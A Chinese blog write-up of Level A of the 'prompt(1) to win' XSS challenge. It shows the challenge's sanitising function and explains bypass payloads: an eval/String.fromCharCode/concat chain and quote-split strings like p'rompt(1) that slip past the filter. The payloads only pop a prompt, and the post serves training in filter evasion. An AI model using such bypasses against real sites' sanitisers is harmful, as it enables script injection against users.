【prompt(1) to win】 Level A - (╯°□°)╯︵ ┻━┻



题目

function escape(input) {
    // (╯°□°)╯︵ ┻━┻
    input = encodeURIComponent(input).replace(/prompt/g, 'alert');
    // ┬──┬ ノ( ゜-゜ノ) chill out bro
    input = input.replace(/'/g, '');

    // (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
    return '<script>' + input + '</script> ';
}

解题报告

题目对输入内容依次做了三段过滤:

  • 使用 encodeURIComponent 做 URL 编码
  • prompt 换成了 alert
  • 过滤了所有单引号 '

虽然输入内容直接在 <script> 里面,但是要把 prompt 成功写入的方法似乎都失效了。

因为除了 a-zA-Z0-9.()!~* 这些字符,其他都几乎被过滤了。


我最开始想到,JS 解析器在解析标识符名称时(如函数名、属性名)等,若遇到 Unicode 会直接进行解码,并使得标识符依旧生效。于是构造了这个 payload \u0070\u0072\u006f\u006d\u0070\u0074(1) 绕过 replace 以在前端直接构造 prompt(1) , 但是 \encodeURIComponent 转码成了 %5C ,失败。。

后来又想到 eval 函数,于是构造这个 payload eval(String.fromCharCode(112,114,111,109,112,116,40,49,41))

期望可以绕过 replace 逐字符构造 prompt(1) ,但是 ,encodeURIComponent 转码成了 %2C ,还是失败。。

不过转念一想,既然不能用逗号 , 拼接字符,那么直接用 concat 函数就可以了。

于是重新构造 payload 如下,完成挑战:

eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))


其实这题想多了反而复杂,有一个更简单的方法是 利用题目自身的逻辑过滤去绕过

题目首先把 prompt 替换成 alert , 然后又把单引号 ' 替换成空。

那么其实只需要把单引号 ' 插到 prompt 中间的任意位置就可以绕过所有过滤了。。。

所以这些 payload 都是可以完成挑战的:

  • p'rompt(1)
  • pr'ompt(1)
  • pro'mpt(1)
  • prom'pt(1)
  • promp't(1)
  • p'r'o'm'p't(1)

因为这些字符本身属于保留字符,不会被 encodeURIComponent 编码;其次 prompt 中间有单引号 ' 的时候,也不满足 replace 的条件;最后题目还很贴心地帮我们把所有单引号 ' 删掉了,,,,所以有时其实真是我们想太多了。。。(╯°□°)╯︵ ┻━┻


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录